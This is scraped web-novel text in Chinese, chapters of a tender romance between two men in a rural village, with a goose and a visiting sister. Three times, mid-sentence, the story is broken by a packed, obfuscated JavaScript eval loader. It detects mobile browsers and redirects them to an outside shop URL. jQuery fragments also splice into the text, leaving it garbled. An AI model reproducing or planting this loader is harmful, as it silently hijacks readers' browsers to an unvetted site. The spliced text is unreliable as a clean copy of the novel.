;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305523|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯眯地说:“我就说嘛,我量的尺寸准得很。这小伙子长得真俊,穿什么都好看。” 沈叙被夸得有点不好意思,小声说:“谢谢您。” 老奶奶看看他,又看看陆时砚,忽然问:“小陆啊,这是你什么人?” 陆时砚正在看另一件衣服,头也不抬地说:“家里人。” 老奶奶愣了一下,然后笑得更开心了:“好好好,家里好,家里好。” 沈叙站在旁边,听着这两个字,心里那点小小的窃喜,已经长成了一片小小的花田。 从杂货铺出来,太阳已经偏西了。他们把东西放进车里,陆时砚看了看时间,说:“找个地方吃饭?” 沈叙点头。 镇上有一家小饭馆,陆时砚说开了很多年了,味道不错。店面装横简单,几张木头桌子,墙上挂着发黄的菜单。老板娘认识陆时砚,看见他进来,热情地招呼:“小陆来了!还是老样子?” 陆时砚说:“今天两个人,加个菜。” 老板娘看看沈叙,眼睛一亮:“这是谁啊?没见过。” 陆时砚说:“家里人。” 沈叙已经习惯了这几个字,但每次听到,心里还是会动一下。 他们点了三个菜:红烧肉、炒青菜、西红柿蛋汤。都是家常菜,但端上来的时候热气腾腾的,闻起来特别香。 沈叙吃了一口红烧肉,愣了一下。 陆时砚问:“怎么了?” 沈叙说:“没你做的好吃。” 陆时砚看了他一眼,嘴角弯起来:“你是在夸我?” 沈叙点头:“真的。你做的更好吃。” 那一整顿饭,陆时砚嘴角都弯着。 吃完饭,天已经快黑了。 他们开着车往回走,车里放着刚买的菜和调料,还有那两件新做的衣服。沈叙坐在副驾驶,看着窗外越来越暗的天色,忽然觉得很安心。 这条路他走过一次,那时候是一个人,满心忐忑。 现在是两个人,旁边坐着陆时砚,后座是一车的生活。 这大概就是家的感觉吧。 车开进村子的时候,天已经全黑了。月亮还没升起来,只有星星在天上一闪一闪的。远远能看见他们那间院子,亮着灯——陆时砚出门前特意留的。 村霸蹲在院门口,看见车灯,站起来“嘎”了一声。沈叙下车,走过去,在它旁边蹲下来。 村霸歪着头看他,说:怎么才回来? 沈叙从口袋里掏出一个小东西,递到它面前。 是一颗糖。 他在镇上的杂货铺买的,水果味的,包装纸亮晶晶的。 村霸低头闻了闻,然后抬头看他,眼神里带着一丝怀疑。 沈叙说:“给你的。甜的。” 村霸犹豫了一下,然后张开嘴,把那颗糖叼进去。它嚼了嚼,眼睛忽然亮了一下,然后又“嘎”了一声。 这次听起来像是在说:还行。 沈叙笑了,伸手摸了摸它的脑袋。 陆时砚站在车边,看着这一幕,眼睛里有一点温柔的光。 他把东西搬进院子,沈叙跟在后面帮忙。等全部收拾完,月亮已经升起来了,清清冷冷地挂在天上。 两人坐在院子里,村霸蹲在旁边。 沈叙忽然说:“今天谢谢你。” 陆时砚转头看他:“谢什么?” 沈叙说:“衣服,还有,家里人。” 最后三个字他说得很轻,但陆时砚听见了。 沉默了一会儿,陆时砚说:“不是谢的。”他看着远处的山,声音很淡:“不是客气话。你就是家里人。” 沈叙坐在那里,听着那句话,心里那片小小的花田,忽然开满了花。 他想说点什么,但不知道该说什么。 最后他只是轻轻地“嗯”了一声。 月亮很亮,晚风很轻,村霸在旁边打盹,偶尔发出满足的咕噜声。 沈叙靠在椅背上,看着天上的星星,忽然想起第一次和陆时砚看星星的那个晚上。月光下,他的侧脸很柔和,轮廓被银光勾勒得格外清晰。 这个人,真好。 他想一直留在这里。 10. 妹妹来了 沈叙发现门口又有一片叶子的时候,太阳刚刚爬上院墙。 他蹲下来捡起那片叶子,绿油油的,边缘有一点点焦黄,但整体还是完整的。他往墙角看了一眼,村霸正在那儿蹲着,脑袋扭向另一边,一副“我什么都没干”的样子。 沈叙笑了,把叶子收进口袋里。 现在他的书里已经夹了七片叶子,每一片他都记得是哪天捡的。最早的那两片已经压得扁扁的,颜色也变深了,但他舍不得扔。 他站起来,准备去厨房帮忙。 然后他听见有人在喊他。 “哥——” 那声音从院门外传来,脆生生的,带着一点气喘。沈叙愣了一下,转身看过去。 沈念拖着行李箱站在门口,冲他挥手。 沈叙站在原地,半天没反应过来。 他妹妹,从千里之外的城市,拖着行李箱,出现在这个他以为永远不会有人来的小村子。 沈念已经走过来了,把行李箱往地上一扔,上下打量着他:“哇,哥,你真的变了。” 沈叙还没从震惊中缓过来:“你怎么来了?” “来看看你啊。”沈念理所当然地说,“上次视频里看见你,吓我一跳,还以为认错人了。气色好那么多,脸上有肉了,也不像之前那样一碰就碎的样子。” 沈叙被她说得有点不好意思,正想说什么,厨房门帘掀开了。 陆时砚走出来。 沈念的目光立刻转过去,上上下下扫了一遍,然后眼睛亮了。 “你就是陆哥吧?”她主动打招呼,“我是沈念,沈叙的妹妹。” 陆时砚点点头:“吃过早饭了吗?” 沈念摇头:“赶早班车,没来得及。” 陆时砚说:“进来吃。”他说完就转身回厨房了,留下沈叙和沈念站在院子里。 沈念凑到沈叙耳边,压低声音说:“哥,他好帅。” 沈叙耳朵一热:“你能不能正经点?” “我很正经啊。”沈念笑嘻嘻的,“比视频里还帅,声音也好听。难怪你不想回去了。” 沈叙被她一句话堵得不知道说什么,只好拎起她的行李箱往屋里走。 早饭是白粥、煎蛋、还有陆时砚自己腌的萝卜条。沈念吃得眼睛都亮了,一边吃一边夸:“这个萝卜条好好吃!陆哥你腌的吗?教教我哥吧,他以前连泡面都煮不好。” 沈叙在旁边小声说:“我现在会煮泡面了。” 沈念看他一眼:“会煮泡面算什么本事。” 陆时砚忽然开口了:“他还会包饺子。” 沈念愣了一下,看向沈叙。 沈叙低下头,假装在喝粥,但耳朵已经红了。 沈念看看他,又看看陆时砚,眉眼慢慢弯起来。 吃完饭,沈叙抢着洗碗。沈念站在厨房门口,看着他洗,时不时递个抹布什么的。 “哥,”她忽然说,“你变了好多。” 沈叙手没停:“哪里变了?” “以前你在家的时候,什么都不想干。让你洗个碗,能拖到第二天。”沈念说,“现在居然主动洗碗。” 沈叙顿了顿,没接话。 沈念又说:“而且你以前笑不出来的。就是那种,脸上在笑,眼睛里没东西。现在你笑的时候,眼睛会弯。” 沈叙把碗放进碗架里,擦干手,回头看她:“你来到底有什么事?” 沈念笑了:“没事就不能来看你啊?我请了两天假,就想亲眼看看你过得怎么样。” 她顿了顿,声音轻了一点:“上次视频里看见你,我真的吓到了。那个笑,是我很多年没见过的。” 沈叙站在那里,忽然不知道该说什么。 沈念走过来,拍了拍他的肩膀:“挺好的,哥。真的挺好的。” 上午,陆时砚要拍视频。 今天的主题是“春日野菜第二弹”,上次的荠菜反响很好,粉丝们催着要看更多。陆时砚选了几种这个季节正好的野菜,准备去山坡上拍。 沈叙当然要跟着,沈念也兴致勃勃地要去看热闹。 三个人加一只鹅,浩浩荡荡往山坡上走。 村霸今天心情不错,走在最前面,时不时回头看一眼,确认他们都跟上了。那姿态,活像一个视察领地的领主。 沈念看着它,小声问沈叙:“这只鹅为什么一直看你?” 沈叙说:“它叫村霸,是我朋友。” 沈念愣了一下:“你朋友?” 沈叙点点头,从口袋里掏出一片叶子,递给村霸。村霸低头叼过去,嚼了嚼,然后“嘎”了一声,听起来很满意。 沈念在旁边看着这一幕,表情很复杂:“哥,你什么时候学会和鹅交朋友了?” 沈叙没回答,只是嘴角弯了弯。 山坡上的野花开得正好,星星点点的,散落在草丛里。陆时砚架好相机,开始取景。沈叙举着反光板,按照他的指示调整角度。 沈念蹲在旁边看,看得很认真。 她看见陆时砚趴在地上,为了拍一朵小花,姿势扭曲得不像话。沈叙举着反光板,手臂酸了也不放下来,眼睛一直跟着陆时砚的手势走。 他们之间那种默契,不需要说话,一个眼神就知道要做什么。 陆时砚拍完一组,抬头看了沈叙一眼。那个眼神很淡,但里面有东西。沈叙被那个眼神看得低下头,耳朵红了一点点。 拍完一组,陆时砚去看回放。沈叙放下反光板,活动了一下手臂。沈念走过去,递给他一瓶水。 “哥,”她压低声音说,“你喜欢他吧?” 沈叙正在喝水,被这句话呛得直咳嗽。 沈念拍拍他的背,一脸无辜:“这么激动干什么?” 沈叙咳完了,小声说:“你胡说什么?” 沈念看着他,眼神很认真:“我没胡说。你看他的眼神,和我看奶茶一样。” 沈叙愣了一下:“什么比喻?” 沈念说:“就是想拥有的那种眼神。” 沈叙站在那里,手里拿着水瓶,不知道该说什么。 沈念继续说:“而且他看你的眼神也不一样。刚才你们拍视频的时候,我看得很清楚。他看你的时候,眼睛里是软的。” 沈叙的心跳开始加速。 沈念拍拍他的肩膀:“哥,你喜欢就追啊。万一他也喜欢你呢?” 沈叙张了张嘴,想说点什么,但又不知道该说什么。 远处,陆时砚在喊他:“沈叙,过来看看这个光。” 沈叙应了一声,把水瓶塞给沈念,快步走过去。沈念站在原地,看着他跑向陆时砚的背影,嘴角慢慢弯起来。 中午回去吃饭,下午陆时砚要剪视频。 沈念说自己累了,要睡午觉,其实是想让他们单独待着。 沈叙知道她的心思,但没戳穿,只是把她安顿好,然后去书房找陆时砚。 书房里,陆时砚正在剪今天拍的素材。屏幕上,那些野花在阳光下闪闪发光,光线柔和,色彩饱满。沈叙在他旁边坐下,看着那些画面,忽然想起沈念说的话。 你看他的眼神,和我看奶茶一样。 他偷偷看了一眼陆时砚的侧脸,又赶紧收回目光。陆时砚忽然开口:“你妹妹挺有意思的。” 沈叙愣了一下:“什么?” 陆时砚说:“她看我的眼神,像是在考察。” 沈叙不知道该怎么接话。 陆时砚继续说:“刚才你们在那边说话,她一直看我。我每次抬头,都能对上她的目光。” 沈叙的心提了起来:“她……她可能是好奇。” 陆时砚“嗯”了一声,没再说什么。 沈叙坐在那里,心跳快得像打鼓。他不知道沈念有没有说什么不该说的,也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈叙差点从椅子上滑下去。 陆时砚沉默了一秒,然后说:“挺好的。” 沈念追问:“哪里好?” 陆时砚想了想,说:“认真,肯学,记性好。我教他的东西,他都能记住。我有时候忙不过来,他都能帮上忙。” 他顿了顿,又说:“还有,他挺暖的。” 沈念眼睛亮了:“暖?怎么个暖法?” 陆时砚看了一眼沈叙,嘴角弯了一点:“他会记得我喜欢吃什么,会在我忙的时候不打扰,会在我不开心的时候不说话就陪在旁边。他会为了村霸的一片叶子高兴半天,会在半夜我睡不着的时候陪我坐着。” 他说得很平淡,但每一个字都落在沈叙心上。 他不知道自己做的这些事,陆时砚都记得。 他以为自己只是在做一些小事,从来没想过会被这样看见。 沈念看看他,又看看陆时砚,嘴角慢慢弯起来。 她站起来,伸了个懒腰:“我困了,先去睡了。你们慢慢聊。” 她走了,留下沈叙和陆时砚坐在院子里。晚风轻轻地吹,带着一点青草的味道。村霸翻了个身,发出满足的咕噜声。 沈叙忽然开口:“你刚才说的那些话……” 陆时砚转头看他。 沈叙说:“我不知道你都记得。” 陆时砚沉默了一会儿,然后说:“你做的事,我都记得。” 沈叙看着他,陆时砚忽然伸手,握住了他的手。 很轻,只是握着,什么都没说。 沈叙低头看着那只握着自己的手,又抬头看着那个人。 月亮很亮,晚风很轻,院子里很安静。 他忽然想,这样就够了。 不管他喜不喜欢自己,不管他们以后是什么关系,至少现在,这一刻,他握着我的手。 11. 心落 沈念走之前站在院门口,看着沈叙,眼睛里有一点复杂的东西。 “哥,”她说,“我回去了。” 沈叙点点头:“路上小心。” 沈念没动,就那么看着他。过了一会儿,她忽然伸手,抱了他一下。 很轻,很快就松开了。 “好好过。”她说,“有什么事给我打电话。”说完她拖着行李箱走了,头也没回。 沈叙站在原地,看着她的背影消失在村口那棵老槐树后面。风把她的头发吹起来,又被树枝挡住,什么都看不见了。 他忽然想起很多年前,她还在上小学,扎着两个小辫子,每天放学都要他接。那时候他刚工作,忙得昏天黑地,但还是会抽时间去接她。她会拉着他的手,叽叽喳喳说学校里的事,说今天谁被老师表扬了,谁和谁吵架了,食堂的午饭又不好吃了。 后来她长大了,他更忙了,就再也没接过。 他站在那里,看着空荡荡的村口,心里忽然涌起一阵说不清的酸涩。 一只手落在肩膀上。 陆时砚不知道什么时候走到了他身边,没有说话,只是轻轻按了按他的肩膀。 沈叙转头看他。 陆时砚说:“她会再来的。” 沈叙点点头,把那点酸涩压下去。 陆时砚又说:“今天有工作。” 沈叙愣了一下,才想起来今天要做什么——平台的月度数据统计,商务合作的筛选,还有几个待回复的邮件。这些本来是他的活,但这两天因为沈念在,耽误了。 他深吸一口气,跟着陆时砚往回走。 书房里,陆时砚的电脑开着,屏幕上是一个复杂的后台界面。沈叙凑过去看,各种数据密密麻麻的,播放量、点赞数、评论数、粉丝增长曲线,还有一堆他暂时看不懂的指标。 陆时砚指着其中一条曲线:“这个月涨粉百分之三十。” 沈叙眼睛亮了一下:“这么多?” 陆时砚说:“有你之后涨的。” 沈叙愣了一下:“我?” 陆时砚点开另一个页面,是评论区。最近几期的视频下面,热评第一永远是同一种风格: 【助理小哥今天出镜了吗?】 【那双手又出现了!截图了!】 【陆老师能不能让助理多说几句话!】 【他们俩对视的那个镜头我反复看了二十遍!】 沈叙看着那些评论,脸慢慢红了。 陆时砚在旁边说:“她们喜欢你。” 沈叙小声说:“她们是喜欢看我们……”他没说完,但后半句的意思两个人都懂。 陆时砚嘴角弯了一点,没接话,继续往下翻。 翻到一条长评,是一个老粉写的,标题叫《从一个人的风景到两个人的日常》。 “以前看陆老师的视频,总觉得那些风景很美,但也很远。雪山很远,沙漠很远,草原很远。镜头里的东西都很好看,但好像隔着一层什么。 后来陆老师回来了,开始拍村子,拍院子,拍菜地,拍那只叫村霸的鹅。近了很多,但还是觉得有点空。 现在不一样了。 镜头里多了一个人。 他的手,他的背影,他偶尔入镜的半张脸。他递水的时候,他举反光板的时候,他被村霸追着跑的时候。 那些画面忽然就有了温度。 不是风景变暖了,是看风景的人,终于有了可以分享的人。” 沈叙看着那条评论,手指悬在鼠标上,半天没动,陆时砚也没说话。书房里很安静,只有窗外风吹过老槐树的声音。 过了一会儿,陆时砚说:“她说得对。” 沈叙转头看他。 陆时砚也看着他,眼神很淡,但里面有东西。 “以前拍的那些,确实好看。”他说,“但拍完就完了,和我没关系。现在拍的这些,拍的时候会想,这个镜头沈叙会不会喜欢,那个画面村霸在不在里面,这棵菜是沈叙种的,那朵花是沈叙帮忙打光的。” “拍着拍着,就拍出温度了。” 这话他以前说过一次,在储物间门口,对着那些落灰的照片。那时候沈叙听着,心跳快得像打鼓。 现在又听一次,心跳还是快。 他低下头,假装在看数据,但那些数字一个也进不去脑子。 陆时砚也没再说话,只是继续翻后台。 翻到商务合作的页面,沈叙的注意力才被拉回来。 邮件密密麻麻的,有想合作的品牌,有邀请参加活动的平台,有想买版权的公司,还有一些奇奇怪怪的私信。沈叙一条一条看过去,大脑自动开始运转——这个品牌口碑不好,这个报价太低,这个条款有问题,这个可以谈一谈。 他指着其中一封邮件说:“这个可以回,报价合理,品牌调性也搭。” 陆时砚看了一眼,点点头。 沈叙又说:“这个不行,之前有负面新闻,接了会掉粉。” 陆时砚又点点头。 沈叙一条一条说下去,陆时砚一条一条听下去,偶尔插一两句,但大部分时候只是听。 说到一半,沈叙忽然停下来。 陆时砚看他:“怎么了?” 沈叙说:“我好像……又开始工作了。” 沈叙看着那些邮件,忽然有点恍惚。这些他做过无数遍的事,在这个小村子里,在这个堆满摄影器材的书房里,感觉完全不一样。 以前在公司,处理邮件是一种消耗。每一封都代表着新的需求、新的压力、新的麻烦。回完一封又来一封,永远回不完。 现在处理邮件,好像只是一种工作。处理完了就完了,剩下的时间可以去做别的事。 陆时砚看着他,问:“不舒服?” 沈叙摇头:“不是。就是觉得奇怪。”他想了想,说:“以前做这些事,做完只想躺平。现在做这些事,做完还想学做饭、学种菜、学举反光板。” 陆时砚的嘴角弯起来。 沈叙被他笑得有点不好意思,低头继续看邮件。 看完邮件,太阳已经偏西了。陆时砚站起来,活动了一下肩膀,说:“出去走走?”沈叙跟着他站起来。 两人走出院子,沿着村后的小路往山坡上走。村霸本来在墙角打盹,听见动静,睁开一只眼睛看了看,然后站起来,慢悠悠地跟在后面。 沈叙回头看了它一眼,村霸昂着脑袋:我只是想散步,不是要跟着你们。 沈叙笑了,没戳穿。 山坡上的草已经长高了,绿油油的,踩上去软绵绵的。晚霞正在西边铺开,从橘红到粉紫到淡蓝,一层一层地晕染过去,把整片天空染成巨大的画布。 陆时砚在一块大石头旁边停下来,坐下。 沈叙在他旁边坐下。 村霸也停下来,找了一块平坦的地方趴着,把自己摊成一张白色的饼。 晚风轻轻地吹,带着青草和野花的味道。远处有几户人家的烟囱开始冒烟,炊烟袅袅地升起来,和晚霞缠在一起。 沈叙看着那些炊烟,忽然说:“以前在城市里,从来没见过这种颜色。” 陆时砚问:“什么颜色?” 沈叙说:“烟的颜色。以前看到的烟都是黑的,灰的,从烟囱里冒出来,脏脏的。这里的烟是白的,软的,看着就觉得暖和。” 他继续说:“还有晚霞也是。以前在写字楼里,只能从窗户看见一小块天。有时候加班到很晚,出来的时候天已经黑了,什么都看不见。偶尔运气好,能看见一点点红色,但很快就没了。” “这里的晚霞,可以看很久。” 陆时砚转头看他,晚霞的光落在沈叙脸上,把他的轮廓染成温柔的金色。他看着远处,眼睛里有光,嘴角有浅浅的笑。 陆时砚看了一会儿,忽然说:“以后每天都可以看。” 沈叙愣了一下,转头看他。 陆时砚已经收回目光,继续看着远处。沈叙看着他的侧脸,心跳又开始不听话。 晚霞慢慢褪去,天色越来越暗。第一颗星星亮起来,在东边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305525|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天上,小小的,亮亮的。 沈叙看着那颗星星,忽然想起小时候奶奶教他的歌谣:天上一颗星,地上一个人。 他问陆时砚:“你相信地上一个人对应天上一颗星吗?” 陆时砚想了想,说:“不知道。但如果有的话,我应该是那颗最不起眼的。” 沈叙愣了一下:“为什么?” 陆时砚说:“没什么特别的本事,也没什么特别的成就。拍点东西,种点菜,养只鹅,就这样过一辈子。” 沈叙听着,忽然说:“那我就是那颗更不起眼的。” 陆时砚转头看他。 沈叙说:“不会做饭,不会种菜,不会拍视频,连鹅都怕。好不容易学会点什么,还是你教的。”他看着那颗星星,声音轻轻的。 “但我想,如果真的有对应的星星,我希望我的那颗,能挨着你那颗。” 话说出口,他自己都愣住了。 陆时砚也愣住了。 空气突然安静下来,安静得能听见村霸在远处打呼噜的声音。 沈叙的脸红了,红得发烫。他想解释点什么,但又觉得越解释越乱。 陆时砚沉默了一会儿,忽然伸手,指了指东边那片天空。 “你看。” 沈叙顺着他的手指看过去。 那片天空里,有两颗星星挨得很近,亮亮的,一闪一闪的。 陆时砚说:“那颗最亮的,是我。” 沈叙愣了一下,然后听见他继续说: “旁边那颗,是你的。” 晚霞已经褪尽了,天完全黑了。月光还没升起来,只有星光落在陆时砚脸上,把他的轮廓勾勒得朦朦胧胧的。 他看着沈叙,眼睛里有一点光。 “挨着的。”他说。 沈叙坐在那里,看着那双眼睛,脑子里一片空白。 他想说点什么,但喉咙像被什么东西堵住了。 他想做点什么,但身体像被钉住了一样。 最后他只是轻轻地说了一句:“嗯。” 就一个字。 但那个字里,有他所有的意思。 陆时砚的嘴角弯起来,他站起来,拍了拍身上的草屑,向沈叙伸出手。 “回去吧。”他说,“明天还要拍视频。” 沈叙看着那只手,犹豫了一秒,然后握住。 陆时砚把他拉起来。 两只手握在一起,谁都没松开。 晚风轻轻地吹,星星在天上一闪一闪的。村霸不知道什么时候醒了,站起来抖了抖毛,走在前面。 他们就这样走回去,手牵着手,谁都没说话。 走到院门口,陆时砚忽然停下。 沈叙侧头看他。 陆时砚看着他,月光下,他的眼睛很亮。 他张了张嘴,像是想说什么。 但最后只是说:“晚安。” 沈叙点点头:“晚安。” 陆时砚松开手,转身往自己房间走。沈叙站在原地,看着他的背影消失在门里。他低头看了看自己的手——那只刚才还被握着的手。 上面好像还留着一点温度。 他站了很久,直到村霸过来蹭了蹭他的裤腿,他才回过神来,蹲下来,摸了摸村霸的脑袋。 “他说那颗最亮的,是他。”他轻声说,“旁边那颗,是我的。” 村霸“嘎”了一声:我早就知道了。 沈叙笑了笑,他站起来,往自己房间走,走到门口,他忽然想起一件事。 明天要拍视频,要一起工作,还能看见他。 他推开门,走进屋里。躺在床上,他看着窗外的星星,那颗最亮的,和旁边那颗。 他忽然想,明天会是什么样的? 会不会牵手? 会不会又说那些让他心跳的话? 会不会—— 他翻了个身,把脸埋进枕头里。 别想了,他对自己说。 但那些念头,像春天的野草一样,压都压不住。 12. 镜头 沈叙躺在床上,盯着头顶那根熟悉的房梁,昨晚的画面一帧一帧从脑子里过——山坡上的晚霞,那两颗挨着的星星,他伸过来的手,还有那句“旁边那颗,是你的”。 他翻了个身,把脸埋进枕头里,闷闷地笑了一声。 然后他想起一件事:昨晚他们是牵着手回来的。 从山坡到院门口,一路都没松开。 沈叙把那只手从被子里抽出来,举到眼前看。阳光从窗户照进来,落在手背上,能看见细小的绒毛在光里轻轻晃动。他翻来覆去看了好几遍,也没看出这只手和昨天之前有什么不同。 但就是觉得不一样了。 外面传来村霸的叫声,懒洋洋的,像是在催他起床。沈叙坐起来,套上衣服推开门。 院子里,陆时砚正在给相机换镜头。听见动静,抬头看了他一眼,说:“醒了?” 就两个字,语气和平时一模一样。 沈叙站在那里,忽然不确定了——昨晚那些是真的吗?还是他做梦? 他站在原地,看着陆时砚低头摆弄相机的样子,阳光落在他侧脸上,把睫毛的影子投在颧骨上,细细的一小片。他的表情很专注,手指捏着镜头边缘轻轻旋转,卡进去,听见“咔哒”一声,才抬起头来。 “站着干什么?”陆时砚说,“过来吃早饭。” 沈叙走过去,在院子里那张小桌子旁边坐下。桌上摆着两碗粥,一碟咸菜,两个煎蛋。陆时砚把其中一个煎蛋推到他面前。 沈叙低头看着那个蛋,蛋黄完整,边缘煎得微微焦黄,是他来了之后才学会的那种火候。 他拿起筷子,夹起煎蛋咬了一口。陆时砚在他对面坐下,也开始吃。两人都没说话,只有筷子碰到碗沿的轻响,和村霸在墙角偶尔发出的咕噜声。 沈叙吃了几口,终于忍不住抬头看陆时砚,对方也在看他,四目相对,沈叙的心跳漏了一拍。 陆时砚的嘴角弯了一点,低头继续喝粥。 昨晚那些是真的。 因为这个人看他的眼神,和以前不一样了。 吃完早饭,陆时砚说今天要拍一个长视频,关于村子里那些老房子和老手艺。村里有个王大爷,会编竹筐,编了几十年,现在没人学了。陆时砚想在他还能编的时候,把这些拍下来。 沈叙背着反光板和备用镜头,跟在陆时砚后面,往村子深处走。村霸照例跟着,保持着两三米的距离,偶尔停下来闻一闻路边的野草,然后又加快脚步追上来。 王大爷家在村子最里头,一个很旧的院子,院墙上爬满了牵牛花。他们到的时候,王大爷正坐在院子里编筐,手指翻飞,竹条在他手里像活的一样,弯过来绕过去,转眼就成了筐底。 陆时砚架好相机,开始拍。沈叙举着反光板,把阳光反射到王大爷手上。 透过取景器,陆时砚看见那双手。粗糙,布满了老茧和裂纹,但动起来的时候有一种说不出的韵律。竹条从指间穿过,被压弯,被固定,被编织成紧密的纹路。 他拍了很久,从各个角度,各种光线,各种距离。 沈叙一直举着反光板,手臂开始发酸,但他没动。他看着陆时砚专注的侧脸,看着他时而皱眉时而舒展的表情,忽然觉得这个人认真起来的样子很好看。 拍完一组,陆时砚回头看回放。沈叙放下反光板,活动了一下肩膀。 王大爷停下手里的话,招呼他们:“歇会儿,喝口水。” 两人在院子里的石凳上坐下。王大爷端来两碗凉茶,茶是自家采的野茶,泡出来颜色淡淡的,有一股清香。 沈叙喝着茶,看着院子里那些编到一半的竹筐、竹篮、竹篓,忽然问:“王大爷,您编这个多少年了?” 王大爷想了想,说:“从小就跟爹学,算下来,怕是有六十年了。 六十年。 一个人,做同一件事,做了六十年。 他忍不住问:“不会腻吗?” 王大爷笑了:“腻什么?这东西,你看着都一样,其实每一根竹子都不一样。有的硬,有的软,有的直,有的弯。你得顺着它的性子来,该弯的地方弯,该直的地方直。编出来的东西,也就不一样。” 他顿了顿,看着手里那个编到一半的筐,眼神里有一点沈叙看不懂的东西。 “再说了,你编的时候,想着这东西要给谁用,是装菜还是装米,是自家用还是送人,编着编着,就编出感情了。” 沈叙听着,忽然想起陆时砚说过的话——拍着拍着,就拍出温度了。 陆时砚看了他一眼,那一眼很短,短到沈叙还没来得及确认里面的意思,陆时砚已经收回目光,继续和王大爷聊那些竹编的事。 回去的路上,太阳正烈。两人走在树荫下,影子被拉得长长的,一前一后。村霸难得安静地跟在后面,估计也是被晒蔫了。 沈叙忽然问:“你刚才看我的那个眼神,是什么意思?” 陆时砚脚步顿了顿,回头看他。 沈叙硬着头皮和他对视,心跳快得像打鼓。陆时砚看了他一会儿,忽然伸手,握住了他的手腕。 很轻,只是握着,拇指在他手腕内侧轻轻蹭了一下。然后松开手,继续往前走。 沈叙站在原地,看着他的背影,脑子里一片空白。 那个触感还留在手腕上,温热的,轻轻的,像羽毛划过。 他低头看了看自己的手腕,又抬头看看那个越走越远的人,忽然快步追上去。 下午,陆时砚在剪今天的素材。沈叙坐在旁边,看着屏幕上的王大爷,看着他那双编了六十年竹筐的手。 陆时砚忽然开口:“你注意到了吗?” 沈叙问:“什么?” 陆时砚指着屏幕上的一个镜头:“他的手。” 沈叙凑近看。那是王大爷的手指,正在把一根竹条弯成弧形,动作很慢,很稳,每一个关节都在用力。 陆时砚说:“拍了这么多年,我越来越觉得,手比脸会说话。” 他继续往前翻,翻到以前拍的一些素材——村里人割麦子的手,摘菜的手,喂鸡的手,缝衣服的手。每一双手都不一样,有的粗糙,有的细嫩,有的布满老茧,有的满是裂纹。 陆时砚说:“你看,他们在用手活着。” 沈叙看着那些画面,忽然想起一件事。 他低头看了看自己的手。这双手以前在键盘上敲过无数行代码,在手机上划过无数条消息,在会议室里翻过无数份PPT。现在这双手学会了打鸡蛋,学会了包饺子,学会了举反光板,学会了在另一个人难过的时候握住他的手。 他忽然问陆时砚:“我的手呢?会说话吗?” 他转头看他,沈叙被那目光看得有点不好意思,想收回这句话。陆时砚已经握住了他的手,手指扣进他的指缝里。 沈叙僵住了。 陆时砚看着那只被他握着的手,慢慢地说:“你的手会说,我在这里。” 沈叙愣愣地看着他。 陆时砚继续说:“会说,我不怕。会说,我陪你。会说,我想留下来。” 他抬起头,看着沈叙的眼睛。 “我听懂了。” 沈叙坐在那里,被那双眼睛看着,忽然觉得眼眶有点酸。 他想说点什么,但喉咙像被什么东西堵住了。 他只是反握住那只手,用力握紧。 窗外,太阳正在西斜,把整个院子染成暖黄色。村霸趴在墙角,偶尔动一动腿,不知道在做什么梦。 一切都那么安静,那么平常。 但又好像什么都不一样了。 很久之后,沈叙终于找回自己的声音。他说:“我的手还会说别的。” 陆时砚看着他,等着。 沈叙深吸一口气,说:“会说,我喜欢你。” 话说出口,他的 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“我现在确定了。”他说,“我喜欢你。想和你在一起那种。想每天醒来第一眼看见你,想和你一起拍视频、一起种菜、一起喂村霸,想以后每年的晚霞都和你一起看。” 陆时砚听着,眼睛里的光一点一点亮起来。 沈叙说完了,看着他,等他回应。 陆时砚忽然倾身过来,在他额头上落下一个吻。 很轻,很短,像蝴蝶停了一秒就飞走。 陆时砚退回去,看着他,嘴角弯着:“我也是。从很久以前就喜欢了。” 沈叙愣在那里,半天没动。 然后他忽然伸手,把陆时砚拉进怀里,用力抱住。 陆时砚被他抱得有点意外,但很快就放松下来,靠在他肩上,手环住他的腰。 书房里很安静,只有两个人轻轻的呼吸声,和窗外偶尔传来的鸟叫。 沈叙把脸埋在陆时砚颈窝里,闻着他身上淡淡的皂角味,混着阳光和青草的气息。 过了很久,陆时砚轻轻推了推他,沈叙松开手,看着他。 陆时砚说:“视频还没剪完。” 他松开手,让陆时砚坐回去继续剪视频,自己坐在旁边看着。 屏幕上的画面还在动,王大爷的手还在编着竹筐,但沈叙什么都看不进去。 他只是看着陆时砚的侧脸,看着他专注的样子,看着他偶尔皱眉偶尔舒展的表情。 以后每天都能这样看着他了。 这个念头一冒出来,嘴角就压不下去了。 视频剪完的时候,天已经黑了。月亮升起来,清清冷冷地挂在天上。陆时砚站起来,活动了一下肩膀,说:“饿了吗?” 沈叙点头。 两人去厨房,一起做了晚饭。沈叙打鸡蛋,陆时砚炒菜,配合得比任何时候都默契。 吃饭的时候,村霸蹲在旁边,左看看右看看,眼神里带着一丝狐疑。沈叙夹了一筷子菜,放到它面前。 村霸低头闻了闻,然后抬头看他:你们俩今天不对劲。 沈叙被它看得有点心虚,低头继续吃饭。 吃完饭,两人坐在院子里乘凉,村霸趴在沈叙脚边,偶尔动一动耳朵。 